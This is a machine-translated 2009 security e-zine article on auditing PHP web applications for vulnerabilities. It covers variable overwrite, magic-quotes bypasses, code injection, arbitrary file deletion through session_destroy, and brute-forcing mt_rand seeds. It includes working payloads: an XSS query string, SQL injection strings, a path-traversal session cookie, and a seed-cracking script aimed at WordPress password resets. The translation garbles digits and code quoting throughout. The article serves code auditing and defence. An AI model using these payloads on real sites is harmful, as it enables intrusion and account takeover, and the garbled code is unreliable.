Senior PHP application vulnerability auditing techniques-vulnerability warning-the black bar safety net

2009-06-09T00:00:00
ID MYHACK58:62200923490
Type myhack58
Reporter 佚名
Modified 2009-06-09T00:00:00

Description

Source:==Ph4nt0m Security Team== ==Ph4nt0m Security Team==

Issue 0x03, Phile #0x06 of 0x07

|=---------------------------------------------------------------------------=| |=---------------------=[ Senior PHP application vulnerability auditing techniques]=---------------------=| |=---------------------------------------------------------------------------=| |=---------------------------------------------------------------------------=| |=----------------------=[ By www.80vul.com ]=------------------------=| |=------------------------=[ ]=--------------------------=| |=---------------------------------------------------------------------------=|

[Directory]

1. Foreword 2. Traditional code auditing techniques 3. PHP version and application code audit 4. Other factors and application code audit 5. The expansion of our dictionary 5.1 variable itself is the key 5.2 variable coverage 5.2.1 traverse initialize variables 5.2.2 parse_str()variable coverage holes 5.2.3 import_request_variables()variable coverage holes 5.2.4 PHP5 Globals 5.3 magic_quotes_gpc and code security 5.3.1 what is magic_quotes_gpc 5.3.2 where there is no magic quotes protection 5.3.3 variables of encoding and decoding 5.3.4 secondary attack 5.3.5 magic quotes brings new security issues 5.3.6 variable key with magic quotes 5.4 code injection 5.4.1 PHP may lead to code injection function 5.4.2 variables of the function with the double quotes 5.5 PHP is itself a function of vulnerabilities and defects 5.5.1 PHP function overflow vulnerability 5.5.2 PHP function of other vulnerabilities 5.5.3 session_destroy()to delete the file vulnerability 5.5.4 random function 5.6 special characters 5.6.1 truncated 5.6.1.1 include truncated 5.6.1.2 data truncated 5.6.1.3 file operations in the special characters 6. How further to find a new dictionary 7. DEMO 8. Something 9. Appendix

One, Foreword

PHP is a widely used scripting language that is especially suited for web development. Having cross-platform, easy to learn, powerful And other characteristics, according to statistics of the world there are more than 3 to 4% of the site has php applications, including Yahoo, sina, the 1 6 3, sohu and other large Portal. And a lot of anonymous web applications system, including the bbs,blog,wiki,cms, etc. are using php development, Discuz and phpwind, and phpbb, and vbb, wordpress, boblog, and so on. With web Security, hot upgrade, the php should be Use program code security issues also gradually flourished, more and more security personnel into the field, more and more should be Application code vulnerabilities is disclosed. For such a situation, many applications of official have established the security sector, or employed Commission security personnel code audit, so there was a lot of the automated Commercial Code audit tool. That is, such a form The potential leads to a situation: the big companies of the product safety coefficient is greatly improved, those are obvious flaws that basically extinct, those We all know auditing techniques are useless. We face a lot of tools and large cattle have been scanned n times in the code, there are Many of the security personnel a bit pessimistic, and some official security personnel is also very assured of your own code, but don't forget the“not There is absolute security”, we should go to look for new ways to tap New holes. This article is to introduce some non-traditional techniques Experience and share.

Also here particularly note the article inside many vulnerabilities are derived from the network cow and friends to share in the Here need thanks to them:)

Second, the traditional code auditing techniques

WEB application vulnerabilities to find is basically built around two elements: variables and functions. That is a vulnerability to use Have to put your submit the malicious code by the variable after n times the variable conversion pass, the final pass to target function is executed, remember MS phrase classic quotes?“ All inputs are harmful”. This phrase only to emphasize the input variables, many programmers put“lose The”understanding of just gpc[$_GET,$_POST,$_COOKIE], but the variables in the transfer process to produce the n number of changes. Lead A lot of filtering just a“paper Tiger”now! We change the sentence to describe the following code safe:“everything that goes into a function of variables is harmful.”

PHP code auditing techniques used by most is currently the main method: static analysis, the main also is by finding the easy to cause Security vulnerabilities of the hazard function, the commonly used such as grep, findstr, etc. search tools, many automated tools are also use regular expressions to search. Cable these functions. The following are some of the commonly used function, which is below that of the dictionary temporarily and slightly in. However, the current basic existing The dictionary is very difficult to find loopholes, so we need to expand our dictionary, these dictionaries are also this article discusses.

Other methods are: by modifying the PHP source code to analyze the variables of the process, or hook a dangerous function to achieve the application Program code audit, but these also rely on our above-mentioned dictionary.

Third, the PHP version and application code audit

So far, PHP has 3 main versions: php4 and php5 and php6, is used in a proportion roughly as follows:

php4 6 8% 2000-2007, No security fixes after 2008/08, the final version is php4. 4. 9

php5 3 2% 2 0 0 4-present, Now at version 5.2.6(PHP 5.3 alpha1 released!)

php6 Currently in the testing phase, the changes many have done a lot of modifications, eliminating the many security options such as magic_quotes_gpc on. This not today to discuss the range

Since php is missing the automatic upgrade mechanism, led to the current PHP version and also lead to a lot of vulnerabilities have not been patched. These vulnerability functions is also our WEB application code audit focused on the object, but also our dictionary important source.

Fourth, other factors and application code audit

Many code auditors get to the code will see, they ignore the“security is a whole”, code security a lot of other factors About the system, such as the above we talked about the PHP version of the problem, the more important are theoperating systemtypes, mainly two camps win/*nix, the WEB service end software is primarily an iis/apache two categories type and other factors. This is due to the different system different The WEB SERVER has different security features, or characteristics, below some parts will be involved.

So we're doing a company WEB application code audit, should be aware of their use of the system, the WEB service client software, PHP version and other information.

Five, expand our dictionary

The following will detail some of the non-traditional PHP application code to audit some of the vulnerability types and the use of skills.

5.1 variable itself is the key

Speaking of variables submitted to a lot of people just see the GET/POST/COOKIE, etc. to submit the value of a variable, but forget some The program the variable itself key also when the variable is extracted to the function processing.

---------------------------------------------------------------------------

<? php //the key. php? aaaa"aaa=1&bb"b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key."\ n"; } ?& gt;

-------------------------------------------------------------------------------

The above code will extract the variable itself, the key is displayed, simply for the above code, if we submit a URL:

--code-------------------------------------------------------------------------

key. php?& lt;script>alert(1);</script>=1&bbb=2

-------------------------------------------------------------------------------

Then it leads to axssthe vulnerability, and expand if the key is submitted to the include()function or sql query ?:)

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP versionRequirements: No System Requirements: No Audit strategy: read through the code +++++++++++++++++++++++++

5.2 variable overrides variable-overwrite)

Lots of loopholes to find who all know extract()this function specifies the parameters for EXTR_OVERWRITE or no means Set function can lead to variable coverage, but there are many other circumstances lead to variable coverage such as:

5.2.1 traverse initialize variables

Consider the following code:

--code-------------------------------------------------------------------------

<? php //var. php? a=fuck $a="hi"; foreach($_GET as $key => $value) { $$key = $value; } print $a; ?& gt;

-------------------------------------------------------------------------------

Many WEB applications use the above-noted cycle is not necessarily a foreach, such as Discuz! 4.1 the WAP part Code:

--code-------------------------------------------------------------------------

$chs = ""; if($_POST && $charset != "utf-8") { $chs = new Chinese("UTF-8", $charset); foreach($_POST as $key => $value) { $$key = $chs->Convert($value); } unset($chs);

-------------------------------------------------------------------------------

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit strategy: read through the code +++++++++++++++++++++++++

5.2.2 parse_str()variable overwrite Vulnerability, CVE-2 0 0 7-3 2 0 5, The mb_parse_str()

--code-------------------------------------------------------------------------

//var. php? var=new $var = "init"; parse_str($_SERVER["QUERY_STRING"]); print $var;

-------------------------------------------------------------------------------

The functions can cover an array variable, the code above is through the$_SERVER ['QUERY_STRING'] to extract the change Amount, for the specified variable name, we can through the injection of“=”to achieve coverage of the other variables:

--code-------------------------------------------------------------------------

//var. php? var=1&a[1]=var1%3d222 $var1 = "init"; parse_str($a[$_GET["var"]]); print $var1;

-------------------------------------------------------------------------------

The above code by submitting the$var to achieve the$var1 of coverage.

+++++++++++++++++++++++++ Vulnerability audit policy parse_str) ------------------------- PHP version requirements: none System Requirements: No Audit strategy: find a character parse_str +++++++++++++++++++++++++

+++++++++++++++++++++++++ Vulnerability audit policy mb_parse_str) ------------------------- PHP version requirements: php4<4.4.7 php5<5.2.2 System Requirements: No Audit strategy: find a character mb_parse_str +++++++++++++++++++++++++

5.2.3 import_request_variables()variable overwrite Vulnerability, CVE-2 0 0 7-1 3 9 6)

--code-------------------------------------------------------------------------

//var. php? _SERVER[REMOTE_ADDR]=10.1.1.1 echo "GLOBALS ". (int)ini_get("register_globals")."n"; import_request_variables("GPC"); if ($_SERVER["REMOTE_ADDR"] != "10.1.1.1") die("Go away!"); echo "Hello admin!";

-------------------------------------------------------------------------------

+++++++++++++++++++++++++ Vulnerability audit policy import_request_variables) ------------------------- PHP version requirements: php4<4.4.1 php5<5.2.2 System Requirements: No Audit strategy: find a character import_request_variables +++++++++++++++++++++++++

5.2.4 PHP5 Globals

Strictly speaking this may not be a PHP vulnerability, can only be regarded as a characteristic of the test code:

--code-------------------------------------------------------------------------

<? // register_globals =ON //foo. php? GLOBALS[foobar]=HELLO php echo $foobar; ?& gt;

-------------------------------------------------------------------------------

But a lot of the program does not take into account this point, consider the following code:

--code-------------------------------------------------------------------------

//In order to safely remove the global variable //var. php? GLOBALS[a]=aaaa&b=1 1 1 if (ini_get("register_globals")) foreach($_REQUEST as $k=>$v) unset(${$k}); print $a; print $_GET[b];

-------------------------------------------------------------------------------

If you are familiar with WEB2. 0 attack the students, it is easy to think the above code we can make use of this characteristic of the crsf Attack.

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit strategy: read through the code +++++++++++++++++++++++++

5.3 magic_quotes_gpc and code security

5.3.1 what is magic_quotes_gpc

When opened, all the "single quote, and"in double quotation marks, the\(backslashes and NULL character will be automatically coupled with a The backslash be escaped. There is a lot of function has a similar role such as: addslashes () and mysql_escape_string (), the mysql_real_escape_string (), etc., in addition to parse_str()variable is also affected by magic_quotes_gpc shadow Response. Now most of the hosts are open to this option, and many programmers also note that using the above those that function to filter Variable, which looks very safe. A lot of loopholes to find or tool have a function to filter the post variables directly to give up, but They give up at the same time also let go of many deadly security vulnerabilities. to:)

5.3.2 where there is no magic quotes protection

1) $_SERVER variables

PHP5 and$_SERVER variables missing magic_quotes_gpc protection, resulting in recent years, X-Forwarded-For vulnerabilities Fierce storm, so a lot of programmers consider filtering X-Forwarded-For, but other variables?

+++++++++++++++++++++++++ Vulnerability audit policy$_SERVER variables ------------------------- PHP version requirements: none System Requirements: No Audit strategy: find a character _SERVER +++++++++++++++++++++++++

2) getenv()to get the variables, use something like$_SERVER variables

+++++++++++++++++++++++++ Vulnerability audit policy getenv () to ------------------------- PHP version requirements: none System Requirements: No Audit strategy: find a character getenv +++++++++++++++++++++++++

3) $HTTP_RAW_POST_DATA and PHP input, output stream

The main application and soap/xmlrpc/webpublish function, see the following code:

--code-------------------------------------------------------------------------

if ( ! isset( $HTTP_RAW_POST_DATA ) ) { $HTTP_RAW_POST_DATA = file_get_contents( "php://input" ); } if ( isset($HTTP_RAW_POST_DATA) ) $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);

-------------------------------------------------------------------------------

+++++++++++++++++++++++++ Vulnerability audit policy data streams ------------------------- PHP version requirements: none System Requirements: No Audit strategy: find a character HTTP_RAW_POST_DATA or php://input +++++++++++++++++++++++++

4) database operation is easy to forget to"place such as: in()/limit/order by/group by

Such as Discuz!& lt;5.0的pm.php to:

--code------------------------------------------------------------------------- if(is_array($msgtobuddys)) { $msgto = array_merge($msgtobuddys, array($msgtoid)); ...... foreach($msgto as $uid) { $uids .= $comma.$ uid; $comma = ","; } ...... $query = $db->query("SELECT m. username, mf. ignorepm FROM {$tablepre}members m LEFT JOIN {$tablepre}memberfields mf USING(uid) WHERE m. uid IN ($uids)"); -------------------------------------------------------------------------------

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No The audit strategy: database lookup operation of the character select,update,insert, and so on +++++++++++++++++++++++++

5.3.3 variables of encoding and decoding

A WEB App a lot of features of the implementation are the need variables of encoding and decoding, and in this one go a solution of the transfer process Just quietly bypass your filter the security line of Defense.

This type of the main function are:

1) stripslashes() this is actually a decode-addslashes()

2) the other string conversion function:

base64_decode -- on the use of MIME base64-encoded data is decoded base64_encode -- use MIME base64 to encode data rawurldecode -- the encoded URL string to decode rawurlencode -- in accordance with RFC 1 7 3 8 for URL encoding urldecode -- decodes the encoded URL string urlencode -- URL encoded string ...... In an unserialize/serialize)

3) character set functions, GKB,UTF7/8...as iconv()/mb_convert_encoding (), etc.

Currently many loopholes diggers began to pay attention to this type of vulnerability, such as the typical urldecode: the

--code------------------------------------------------------------------------- $sql = "SELECT * FROM article WHERE articleid="". urldecode($_GET[id])."""; -------------------------------------------------------------------------------

When magic_quotes_gpc=on, we submitted? id=%2 5 2 7 give the sql statement is:

--code------------------------------------------------------------------------- SELECT * FROM article WHERE articleid=""" -------------------------------------------------------------------------------

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit strategy: find the corresponding encoding function +++++++++++++++++++++++++

5.3.4 secondary attack for details see Appendix[1])

1) database out of the variable is not filtered

2) The database of the escaped symbols:

  • mysql/oracle escape symbol is also\we submitted to"by magic quotes change to\", when we update to enter the number Database, by escaping into")

  • mssql escape character for"and so we submitted to"by magic quotes change to\", the mssql will treat it as a character String processed directly, so magic quotes for mssql injection makes no sense)

From here we can think about to get a conclusion: everything into the function's variables are harmful, in addition to the use of secondary attacks We can achieve a webrootkit, put our malicious configuration directly into the database. We should put this generation Code as a vul for?

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit strategy: read through the code +++++++++++++++++++++++++

5.3.5 magic quotes brings new security issues

First we look at magic quotes handling mechanism:

[\- >\\," - >\","-->\",null-->\0]

This brings us to the introduction of a very useful symbol“\”and“\”symbols not only is the escape symbol, in the WIN system under the is also Directory jump symbol. This feature may cause a php application to produce a very interesting loophole:

1) Get the original characters",\,",null])

--code------------------------------------------------------------------------- $order_sn=substr($_GET["order_sn"], 1);

//Submit" //Magic quotes processing \" //substr"

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". "shipping_time, shipping_id, invoice_no, user_id ". "FROM" . $ecs->table("order_info"). "WHERE order_sn = "$order_sn"LIMIT 1"; -------------------------------------------------------------------------------

2) get the“\”character

--code------------------------------------------------------------------------- $order_sn=substr($_GET["order_sn"], 0,1);

//Submit" //Magic quotes processing \" //substr \

$sql = "SELECT order_id, order_status, shipping_status, pay_status, ". "shipping_time, shipping_id, invoice_no, user_id ". "FROM" . $ecs->table("order_info"). "WHERE order_sn = "$order_sn" and order_tn="".$ _GET["order_tn"]."""; -------------------------------------------------------------------------------

Submitted content:

--code------------------------------------------------------------------------- ? order_sn="&amp; order_tn=%20and%2 0 1=1/* -------------------------------------------------------------------------------

The execution of the SQL statement is:

--code------------------------------------------------------------------------- SELECT order_id, order_status, shipping_status, pay_status, shipping_time, shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = "\" and order_tn=" and 1=1/*" -------------------------------------------------------------------------------

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit policy: find string-handling functions such as substr or read through the code +++++++++++++++++++++++++

5.3.6 variable key with magic quotes

Us most in this section at the beginning of the mentioned variables key, PHP magic quotes what does it affect?

--code-------------------------------------------------------------------------

<? php //the key. php? aaaa"aaa=1&bb"b=2 //print_R($_GET); foreach ($_GET AS $key => $value) { print $key."\ n"; } ?& gt;

-------------------------------------------------------------------------------

1) when magic_quotes_gpc = On, in php5. 2 4 The following test shows:

aaaa\"aaa bb\"b

From the above results it can be seen, in the setting of the magic_quotes_gpc = On, the variable key by the magic quotes effect. However, in php4 and php<5.2.1 version, not processing the array of the first dimensional variable of the key, the test code is as follows:

--code-------------------------------------------------------------------------

<? php //the key. php? aaaa"aaa[bb"]=1 print_R($_GET); ?& gt;

-------------------------------------------------------------------------------

The results show:

Array ( [aaaa"aaa] => Array ( [bb\"] => 1 ) )

Array the first dimension of the variable key is not affected by magic quotes effect.

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: php4 and php<5.2.1 System Requirements: No Audit strategy: read through the code +++++++++++++++++++++++++

2) when the magic_quotes_gpc = Off in php5. 2 4 The following test shows:

aaaa"aaa bb"b

For magic_quotes_gpc = Off when all the variables are unsafe, considering this, many procedures are through addslashes and other functions to achieve the magic quotes to the variable filter, the sample code is as follows:

--code-------------------------------------------------------------------------

<? php //keyvul. php? aaa"aa=1" //magic_quotes_gpc = Off if (! get_magic_quotes_gpc()) { $_GET = addslashes_array($_GET); }

function addslashes_array($value) { return is_array($value) ? array_map("addslashes_array", $value) : addslashes($value); } print_R($_GET); foreach ($_GET AS $key => $value) { print $key; } ?& gt;

-------------------------------------------------------------------------------

The above code looks perfect, but he is this code addslashes($value)deal only with the variables of the specific Value, but not the process variable itself is the key, the above code displays the following results:

Array ( [aaa"aa] => 1\" ) aaa"aa

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit strategy: read through the code +++++++++++++++++++++++++

5.4 code injection

5.4.1 PHP may lead to code injection function

Many people know the eval and preg_replace+/e can execute code, but don't know php there are many functions can be To execute code such as:

assert() call_user_func() call_user_func_array() create_function() Variable function ...

Here we see the recent emergence of several on the create_function()code execution vulnerability in the code:

--code-------------------------------------------------------------------------

<? php //how to exp this code $sort_by=$_GET["sort_by"]; $sorter="strnatcasecmp"; $databases=array("test","test"); $sort_function = "return 1 *" . $sorter . "($a["" . $sort_by . ""], $b["" . $sort_by . ""]); "; usort($databases, create_function (",$a, $b", $sort_function));

-------------------------------------------------------------------------------

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit strategy: find the corresponding function, assert,call_user_func,call_user_func_array,create_function, etc. +++++++++++++++++++++++++

5.4.2 variables of the function with the double quotes

For single and double quotes the difference, many programmers have deep experience, sample code:

--code------------------------------------------------------------------------- echo "$a\n"; echo "$a\n"; -------------------------------------------------------------------------------

We then look at the following code:

--code------------------------------------------------------------------------- //how to exp this code if($globals["bbc_email"]){

$text = preg_replace( array("/\[email=(.?)\] (.?)\ [\/email\]/ies", "/\email\\ [\/email\]/ies"), array("check_email("$1", "$2")", "check_email("$1", "$1")"), $text); -------------------------------------------------------------------------------

In addition many of the apps are the variables with""is stored in the cache file or config or data file, such a Easy to be injected variable function.

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit strategy: read through the code +++++++++++++++++++++++++

5.5 PHP is itself a function of vulnerabilities and defects

5.5.1 PHP function overflow vulnerability

You remember Stefan Esser the big cow of the Month of PHP Bugs(MOPB see Appendix[2] project?, which compares Famous to be unserialize (), the code is as follows:

--code------------------------------------------------------------------------- unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . "_data"]); -------------------------------------------------------------------------------

In previous PHP versions, many functions are there have been overflow vulnerability, so we in the audit application vulnerabilities Don't forget the test target using the PHP version information.

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: the corresponding fix version System Requirements: Audit strategy: find the corresponding function name +++++++++++++++++++++++++

5.5.2 PHP function of other vulnerabilities

Stefan Esser, a large cattle found vulnerabilities: unset()--Zend_Hash_Del_Key_Or_Index Vulnerability

For example phpwind early serarch. php in the code:

--code-------------------------------------------------------------------------

unset($uids); ...... $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE "$pwuser""); while($member=$db->fetch_array($query)){ $uids .= $member["uid"].","; } $uids ? $uids=substr($uids,0,-1) : $SQL where.=" AND 0 "; ........ $query = $db->query("SELECT DISTINCT t. tid FROM $sqltable WHERE $SQL where $orderby $limit");

-------------------------------------------------------------------------------

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: php4<4.3 php5<5.14 System Requirements: No Audit policy: find unset +++++++++++++++++++++++++

5.5.3 session_destroy()to delete the file vulnerability testing PHP version: 5.1.2)

This vulnerability is a few years ago a friend saiy found, the session_destroy()function the function is to delete the session file Many web application logout function directly call this function to delete the session, but this function in some of the old Versions the lack of filtration can lead to deletion of arbitrary files. The test code is as follows:

--code-------------------------------------------------------------------------

<? php //val.php session_save_path("./"); session_start(); if($_GET["del"]) { session_unset(); session_destroy(); }else{ $_SESSION["hei"]=1; echo(session_id()); print_r($_SESSION); } ?& gt;

-------------------------------------------------------------------------------

当 我们 提交 构造 cookie:PHPSESSID=/../1.php that is equivalent to unlink("sess_/../1.php")such It by injection../jump directory delete any file. Many of the famous program some versions are affected as phpmyadmin sablog, the phpwind3 and so on.

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: specific unknown System Requirements: No Audit policy: find session_destroy +++++++++++++++++++++++++

5.5.4 random function

1) rand() VS mt_rand()

--code-------------------------------------------------------------------------

<? php //on windows print mt_getrandmax(); //2 1 4 7 4 8 3 6 4 7 print getrandmax();// 3 2 7 6 7 ?& gt;

-------------------------------------------------------------------------------

As can be seen rand()the maximum of the random number is 3 2 7 6 7, This is very easy to be our brute force.

--code-------------------------------------------------------------------------

<? php $a= md5(rand()); for($i=0;$i<=3 2 7 6 7;$i++){ if(md5($i) ==$a ) { print $i."--& gt;ok!!& lt;br>";exit; }else { print $i."& lt;br>";} } ?& gt;

-------------------------------------------------------------------------------

When we program using the rand processing sessiwhen on, the attacker easily brute force out of your session, but for mt_rand is difficult to simple violence.

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: none System Requirements: No Audit policy: find rand +++++++++++++++++++++++++

2) mt_srand()/srand()-weak seeding by Stefan Esser)

See the php manual's description:

------------------------------------------------------------------------------- mt_srand (PHP 3 >= 3.0.6, PHP 4, PHP 5)

mt_srand -- multicast next better random number generator seed Description void mt_srand ( int seed )

With the seed to the random number generator seeding. From PHP 4.2.0 version of the start seed parameter becomes optional, when the entry is empty When is set to always.

Example 1. mt_srand() example

<? php // seed with microseconds function make_seed() { list($usec, $sec) = explode(" ", microtime()); return (float) $sec + ((float) $usec * 1 0 0 0 0 0); } mt_srand(make_seed()); $randval = mt_rand(); ?& gt;

Note: since PHP 4.2.0 onwards, no longer need to use srand() or mt_srand() function to the random number generator seeding, it has been Automatically completed. -------------------------------------------------------------------------------

php from 4. 2. 0 to achieve the automatic seeding, but in order to be compatible, then using a similar code like this sowing:

--code------------------------------------------------------------------------- mt_srand ((double) microtime() * 1 0 0 0 0 0 0) -------------------------------------------------------------------------------

But the use of(double)microtime()*1 0 0 0 0 0 0 similar to the code seed is more vulnerable:

0<(double) microtime()<1 ---> 0<(double) microtime()* 1 0 0 0 0 0 0<1 0 0 0 0 0 0

Then it is easy to brute force,the test code is as follows:

--code-------------------------------------------------------------------------

<? php ///////////////// //>php rand.php //8 2 8 6 8 2 //8 2 8 6 8 2 //////////////// ini_set("max_execution_time",0); $time=(double) microtime()* 1 0 0 0 0 0 0; print $time."\ n"; mt_srand ($time);

$search_id = mt_rand(); $seed = search_seed($search_id); print $seed; function search_seed($rand_num) { $max = 1 0 0 0 0 0 0; for($seed=0;$seed<=$max;$seed++){ mt_srand($seed); $key = mt_rand(); if($key==$rand_num) return $seed; } return false; } ?& gt;

-------------------------------------------------------------------------------

From the above code implements the seed to crack, in addition to according to Stefan Esser, the analysis of the seed also according to the process of change Changes, in other words the same process in seed is the same. Then the same seed each time the mt_rand value is Specific. As shown below:

+--------------+ | seed-A | +--------------+ | mt_rand-A-1 | | mt_rand-A-2 | | mt_rand-A-3 | +--------------+

+--------------+ | seed-B | +--------------+ | mt_rand-B-1 | | mt_rand-B-2 | | mt_rand-B-3 | +--------------+

For seed-A mt_rand-1/2/3 are not equal, but the values are specific, that is when the seed-A is equal to seed-B, then mt_rand-A-1 is equal to mt_rand-B-1..., so as long as we can get seed you can get each time mt_rand value.

For 5. 2. 6>php>4.2.0 directly use the default seeding program is also unsafe, many of the security personnel the wrong order For this is safe, this to be divided into two cases to analyze:

First:"Cross Application Attacks", this idea in Stefan Esser in the article have mentioned, is the use of Other programs defined in the sow, such as mt_srand ((double) microtime()* 1 0 0 0 0 0 0), the phpbb+wordpree group On the existence of such a danger.

Second: 5.2.6>php>4.2.0 the default seeding algorithm is not very strong, this is Stefan Esser in the article Description:

------------------------------------------------------------------------------- The Implementation When mt_rand() is seeded internally or by a call to mt_srand() in PHP 4 and PHP 5 <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only 3 1 and not 3 to 2 bits. In PHP 5.2.1 and above the implementation of the Mersenne Twister was changed and the forced bit removed. -------------------------------------------------------------------------------

In the 3 2-bit system The default sowing the seeds for the maximum value is 2^3 is 2, so we cycle up to 2^3 to 2 times it can be cracked seed。 And in PHP 4 and PHP 5 <= 5.2.0 algorithm has a bug: odd and even seeding is the same as in Appendix [3], The test code is as follows:

--code-------------------------------------------------------------------------

<? php mt_srand(4); $a = mt_rand(); mt_srand(5); $b = mt_rand(); print $a."\ n".$ b; ?& gt;

-------------------------------------------------------------------------------

By the above code is found$a==$b, so we The number of cycles is 2^32/2=2^3 1 times. We see the following code:

--code-------------------------------------------------------------------------

<? php //base on http://www.milw0rm.com/exploits/6421 //test on php 5.2.0

define("BUGGY", 1); //above code$a==$b when the definition of BUGGY=1

$key = wp_generate_password(2 0, false); echo $key."\ n"; $seed = getseed($key);print $seed."\ n";

mt_srand($seed); $pass = wp_generate_password(2 0, false); echo $pass."\ n";

function wp_generate_password($length = 1 2, $special_chars = true) { $chars = "abcdefghijklmnopqrstuvwxyzABCDEFghijklmnopqrstuvwxyz0123456789"; if ( $special_chars ) $chars.= "!@#$%^& amp;*()";

$password = ""; for ( $i = 0; $i < $length; $i++ ) $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1); return $password; }

function getseed($resetkey) { $max = pow(2,(3 2-BUGGY)); for($x=0;$x<=$max;$x++) { $seed = BUGGY ? ($x << 1) + 1 : $x; mt_srand($seed); $testkey = wp_generate_password(2 0,false); if($testkey==$resetkey) { echo "o\n"; return $seed; }

if(! ($x % 1 0 0 0 0)) echo $x / 1 0 0 0 0; } echo "\n"; return false; } ?& gt;

-------------------------------------------------------------------------------

Running results as follows:

------------------------------------------------------------------------------- php5>php rand.php M8pzpjwCrvVt3oobAaOr 0 1 2 3 4 5 6 7 8 9 1 0 1 1 1 2 1 3 1 4 1 5 1 6 1 7 1 8 1 9 2 0 2 1 2 2 2 3 2 4 2 5 2 6 2 7 2 8 2 9 3 0 3 1 3 2 3 3 3 4 3 5 3 6 3 7 3 8 3 9 4 0 4 1 4 2 4 3 4 4 4 5 4 6 4 7 4 8 4 9 5 0 5 1 5 2 5 3 5 4 5 5 5 6 5 7 5 8 5 9 6 0 6 1 6 2 6 3 6 4 6 5 6 6 6 7 6 8 6 9 7 0 7 1 7 2 7 3 7 4 7 5 7 6 7 7 7 8 7 9 8 0 8 1 8 2 8 3 8 4 8 5 8 6 8 7 8 8 8 9 9 0 9 1 9 2 9 3 9 4 9 5 9 6 9 7 9 8 9 9 1 0 0 1 0 1 1 0 2 1 0 3 1 0 4 1 0 5 1 0 6 1 0 7 1 0 8 1 0 9 1 1 0 1 1 1 1 1 2 1 1 3 1 1 4 1 1 5 1 1 6 1 1 7 1 1 8 1 1 9 1 2 0 1 2 1 1 2 2 1 2 3 1 2 4 1 2 5 1 2 6 1 2 7 1 2 8 1 2 9 1 3 0 1 3 1 1 3 2 1 3 3 1 3 4 1 3 5 1 3 6 1 3 7 1 3 8 1 3 9 1 4 0 1 4 1 1 4 2 1 4 3 1 4 4 1 4 5 1 4 6 1 4 7 1 4 8 1 4 9 1 5 0 1 5 1 1 5 2 1 5 3 1 5 4 1 5 5 1 5 6 1 5 7 1 5 8 1 5 9 1 6 0 1 6 1 1 6 2 1 6 3 1 6 4 1 6 5 1 6 6 1 6 7 1 6 8 1 6 9 1 7 0 1 7 1 1 7 2 1 7 3 1 7 4 1 7 5 1 7 6 1 7 7 1 7 8 1 7 9 1 8 0 1 8 1 1 8 2 1 8 3 1 8 4 1 8 5 1 8 6 1 8 7 1 8 8 1 8 9 1 9 0 1 9 1 1 9 2 1 9 3 1 9 4 1 9 5 1 9 6 1 9 7 1 9 8 1 9 9 2 0 0 2 0 1 2 0 2 2 0 3 2 0 4 2 0 5 2 0 6 2 0 7 2 0 8 2 0 9 2 1 0 2 1 1 2 1 2 2 1 3 2 1 4 2 1 5 2 1 6 2 1 7 2 1 8 2 1 9 2 2 0 2 2 1 2 2 2 2 2 3 2 2 4 2 2 5 2 2 6 2 2 7 2 2 8 2 2 9 2 3 0 2 3 1 2 3 2 2 3 3 2 3 4 2 3 5 2 3 6 2 3 7 2 3 8 2 3 9 2 4 0 2 4 1 2 4 2 2 4 3 2 4 4 2 4 5 2 4 6 2 4 7 2 4 8 2 4 9 2 5 0 2 5 1 2 5 2 2 .............. 0 1 0 6 2 1 1 0 6 2 2 1 0 6 2 3 1 0 6 2 4 1 0 6 2 5 1 0 6 2 6 1 0 6 2 7 1 0 6 2 8 1 0 6 2 9 1 0 6 3 0 1 0 6 3 1 1 0 6 3 2 1 0 6 3 3o 7 0 6 9 3 pjwCrvVt3oobAaOr -------------------------------------------------------------------------------

When 1 0 6 3 4 times when we get the results.

When the PHP version to 5. 2. 1, by modifying the algorithm fixes the odd and even seeding is equal to the problem, such also leads to The php5. 2. 0 before and after the result in the same after sowing of mt_rand()value is not the same. For example:

--code-------------------------------------------------------------------------

<? php mt_srand(4 2); echo mt_rand(); //php<=5.20 1 3 8 7 3 7 1 4 3 6 //php>5.20 1 3 5 4 4 3 9 4 9 3 ?& gt;

-------------------------------------------------------------------------------

It is for this reason, also called The our exp operating environment: when target>5.20, we exp running environment If>5.20 version, and Vice versa.

From the above testing and analysis, php<5.26 regardless of the definition of sow, mt_rand processing of the data is disturbing Full. In a web application where many are using mt_rand to deal with random session, such as a password retrieve function, etc., such The consequence is that an attacker maliciously used to directly modify the password.

Many famous programs have produced similar vulnerability such as wordpress, phpbb and punbb and so on. (Later, we will The actual analysis under the famous domestic bbs program Discuz! The mt_srand cause of the vulnerability

+++++++++++++++++++++++++ Vulnerability audit policy ------------------------- PHP version requirements: php4 php5<5.2.6 System Requirements: No Audit policy: find mt_srand/mt_rand +++++++++++++++++++++++++

5.6 special characters

In fact, the“special characters”also there is no specific standard definition, mainly in some code hacking plays a special heavy role A class of characters. Here are just a few examples:

5.6.1 truncated

One of the most famous of a number of familiar to all null characters are truncated.

5.6.1.1 include truncated

--code-------------------------------------------------------------------------

<? php include $_GET["action"].". php"; ?& gt;

-------------------------------------------------------------------------------

